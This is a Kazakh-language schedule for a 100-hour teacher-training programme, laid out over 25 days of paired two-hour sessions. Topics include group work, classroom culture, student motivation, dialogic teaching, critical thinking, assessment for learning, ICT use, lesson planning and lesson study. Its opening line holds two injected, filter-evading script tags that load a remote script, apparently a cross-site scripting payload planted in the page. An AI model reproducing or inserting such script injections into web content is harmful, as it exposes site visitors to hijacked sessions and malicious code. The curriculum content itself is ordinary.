<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Күн №

Күн  тақырыбы

Сабақтың  тақырыбы

Сағат  саны

Мерзі-мі

1

Кіріспе:  оқыту 

және  оқу  әдістемесіне  өзгеріс 

енгізудің  қажеттілігін  негіздеу

1-сабақ:  Бірлескен  және 

топтық  жұмыс.  Топтарда 

жұмыс  жүргізу әдістемесі

2

2-сабақ:  Сыныптағы 

оқу  үдерісі  мен 

ондағы  өзгерістерді  басқару.

Оқыту  және 

оқу  әдістемесіне  өзгеріс 

енгізу  қажеттілігін  негіздеу. Мұғалімдер  мен 

оқушылардың  көзқарастары

2

2

Мектеп  пен 

сыныптағы  мәдениет

1-сабақ: Сыныпты 

қадағалау  әдістемесі

2

2-сабақ:  Мұғалімдерге 

нені  білу  міндет? 

Сынып  мәдениеті  мен 

оқу  ортасы.

2

3

Мұғалімнің  мінсіз 

мұғалім  туралы  және 

оқушылардың  жеке  ерекшеліктері  туралы 

пікірі

1-сабақ:  Мұғалімнің 

мінсіз  мұғалім  туралы 

қалыптасқан  ұстанымдарын  зерттеу.

2

2-сабақ:  Оқушылардың 

пікірі  бойынша  құзырлы 

мұғалімнің  сипаттамасы  қандай? 

Мұғалімнің  оқушылардың  жеке 

ерекшеліктері  туралы  қалыптасқан 

ұстанымдарын  зерттеу.

2

4

Құндылықтар,

көзқарастар,  ықпал  ету 

тәсілдері

1-сабақ:  Бұдан  әрі  даму 

бағыттары  мен  басымдықтарын  анықтау 

үшін  жеке  тұлғаның 

құндылықтары  мен  көзқарастарын  нақтылау.

2

2-сабақ:  Оқыту  және  оқу 

әдістемесін  жетілдіру  мақсатында 

зерттеу  жүргізу  қажеттігін 

негіздеу  және  мойындау. Сыныптағы  психологиялық  ахуал.

2

5

Оқушыларды  ынталандыру

1-сабақ:  Оқудағы 

кедергілерді  анықтау.

Оқудың  аффекттік  теориясы

2

2-сабақ:  Оқушыларды 

ынталандыру.  Оқушылардың  оқу 

туралы  пікірін  анықтау. (оқушыдан  кеңес 

алу)

2

6

Әлеуметтік  өзара 

іс-қимыл

1-сабақ:  Оқудағы 

әлеуметтік  өзара  іс-қимыл, әлеуметтік  өзара 

іс-қимыл  ауқымын  кеңейту.

2

2-сабақ:  Сабақтың 

интербелсенді  және  инклюзивті 

болуын  қамтамасыз  ету.

2

7

Оқудағы  кедергілер

1-сабақ: Оқудағы 

кедергілерді  анықтау.

Оқудағы  кедергілерді, соның  ішінде 

жас  ерекшеліктері  проблемаларын  жеңу 

мақсатындағы  педагогикалық  тәсілдерді 

таңдау  және  нақтылау.

2

2-сабақ:  Оқушылардың 

қабілеттері  және  оқуға 

жағымды  көзқарастары

2

8

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: қалай  оқу  керектігін 

үйрету.

1-сабақ:  Қалай  оқу 

керектігін  үйренудің  мәні. 

Мұғалімнің  оқушылардың  қалай 

оқу  керектігін  үйрену 

қабілеттерін  дамыту  жөніндегі 

әрекеттері

2

2- сабақ: 

Қалай  оқу  керектігін 

үйренудің  мәні. 

Мұғалімнің  оқушылардың  қалай 

оқу  керектігін  үйрену 

қабілеттерін  дамыту  жөніндегі 

әрекеттері

2

9

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: қалай  оқу  керектігін 

үйрету.

1-сабақ:  Бүкіл  зейінді 

және  педагогикалық  амал-тәсілдерді  оқушыларға 

бағыттау  және  оларға 

қалай  оқу  керектігін 

үйренуде  көмек  көрсету. Қалай  оқу 

керектігін  үйренуге  қатысты 

оқыту  әдістері  мен 

тәсілдеріне  басты  назар 

аудару.

2

2- сабақ:  Бүкіл  зейінді 

және  педагогикалық  амал-тәсілдерді  оқушыларға 

бағыттау  және  оларға 

қалай  оқу  керектігін 

үйренуде  көмек  көрсету. Қалай  оқу 

керектігін  үйренуге  қатысты 

оқыту  әдістері  мен 

тәсілдеріне  басты  назар 

аудару.

2

10

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: әңгімелесу  және  диалогтік 

оқыту.

1-сабақ:  Диалогтік 

оқытудың  мәні.

2

2-сабақ:  Оқу  сапасын  жақсарту 

мақсатында  сабақта  әңгімелесуді  пайдалану 

әдістемесі.

2

11

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: 

сын  тұрғысынан 

ойлау.

1-сабақ: 

Сын  тұрғысынан  ойлаудың 

мәні.

2

2-сабақ:  Оқытуда  сын  тұрғысынан 

ойлауды  пайдалану.

2

12

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: сын  тұрғысынан  ойлау.

1-сабақ:  Оқытуда  сын  тұрғысынан 

ойлауды  пайдалану.

2

2-сабақ:  Сын 

тұрғысынан  ойлау  дағдыларын 

дамытуға  арналған  әдістерді 

жоспарлау.

2

13

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: 

оқу  үшін 

бағалау  және  оқуды 

бағалау.

1-сабақ:  Бағалау 

үдерісінің  мақсаты. Оқу  үшін 

бағалаудың  (ОүБ)  мәні.

2

2-сабақ:  Бағалау 

үдерісінің  мақсаты. Оқу  үшін 

бағалаудың  (ОүБ)  мәні.

2

14

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: оқу  үшін  бағалау 

және  оқуды  бағалау.

1-сабақ:  Оқытуды 

жоспарлауда  ОүБ  әдістемесін 

пайдалану.

2

2-сабақ:  Оқытуды 

жоспарлауда  ОүБ  әдістемесін 

пайдалану.

2

15

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: оқу  үшін  бағалау 

және  оқуды  бағалау.

1-сабақ:  Сабақта  ОүБ  әдістемесін 

пайдалану.

2

2-сабақ:  Сабақта  ОүБ  әдістемесін 

пайдалану.

2

16

Тәжірибені  түрлендіру. 

Қуатты  педагогикалық  құралдар: оқыту  мен  оқуда 

ақпараттық  коммуникациялық  технологияны  (АКТ) 

пайдалану.

1-сабақ:  Оқыту  мен  оқуда 

АКТ  пайдалану  мақсаттары.

2

2-сабақ:  Оқу  сапасын  арттыру 

мақсатында  сыныпта  АКТ 

пайдалану  әдістемесі.

2

17

Сабақты

жоспарлау.

1-сабақ:  Сабақтың 

сараланған  оқу  нәтижелерін 

әзірлеу.

2

2-сабақ:  Оқу 

нәтижелеріне  қол  жеткізуге 

арналған  жаттығуларды  жоспарлау 

және  Бағдарлама  тақырыптарын  ықпалдастыру.

2

18

Сабақты

жоспарлау.

1-сабақ:  Бағалау 

критерийлерін  белгілеу.

2

2-сабақ:  Оқу  мақсаты,

жаттығу  мен  бағалау 

критерийлері  арасындағы  байланысты 

бағамдау.

2

19

Сыныптағы  оқуды 

басқару

1-сабақ:  Оқыту 

үдерісін  жақсарту  мақсатында 

өзгерістерді  жоспарлау.

2

2-сабақ:  Оқыту 

үдерісін  жақсарту  мақсатында 

өзгерістерді  жоспарлау.

2

20

Сыныптағы  оқуды 

басқару

1-сабақ:  Оқыту 

үдерісін  жақсарту  мақсатында 

өзгерістерді  жоспарлау.

2

2-сабақ:  Оқыту 

үдерісін  жақсарту  мақсатында 

өзгерістерді  жоспарлау.

2

21

Оқыту  тәжірибесіне  Бағдарлама 

тақырыптарын  енгізу

1-сабақ:  Тізбектелген 

сабақтар  топтамасын  орта 

мерзімді  жоспарлау.

2

2-сабақ:  Тізбектелген 

сабақтар  топтамасын  орта 

мерзімді  жоспарлау.

2

22

Сабақты  зерттеу 

әдісі

1-сабақ: Оқыту  мен  оқу 

үдерісін  жақсарту  мақсатында 

Сабақты  зерттеу  әдісін 

қолдану. 

2

2-сабақ:  Сабақты 

зерттеудің  тақырыбын  белгілеу.

2

23

Сабақты  зерттеу 

әдісі

1-сабақ:  Оқыту  мен  оқу 

үдерісін  жақсарту  мақсатында 

Сабақты  зерттеу  әдісін 

қолдану.  Мектептегі  Сабақты 

зерттеудің  табыс  критерийлері.

2

2-сабақ:  Оқыту  мен  оқу 

үдерісін  жақсарту  мақсатында 

Сабақты  зерттеу  әдісін 

қолдану.  Мектептегі  Сабақты 

зерттеудің  табыс  критерийлері.

2

24

Бағалау

1-сабақ:  Мұғалімдердің 

оқыту  және  оқу 

тәжірибесіне  өзгеріс  енгізу 

үдерісін  бағалау.

2

2-сабақ:  Мұғалімдердің 

оқыту  және  оқу 

тәжірибесіне  өзгеріс  енгізу 

үдерісін  бағалау.

2

25

Бағалау

1-сабақ:  Мұғалімдердің 

оқыту  және  оқу 

тәжірибесіне  өзгеріс  енгізу 

үдерісін  бағалау.

2

2-сабақ:  Мұғалімдердің 

оқыту  және  оқу 

тәжірибесіне  өзгеріс  енгізу 

үдерісін  бағалау.

2

Бағдарлама 

бойынша  барлығы

100 

академиялық  сағат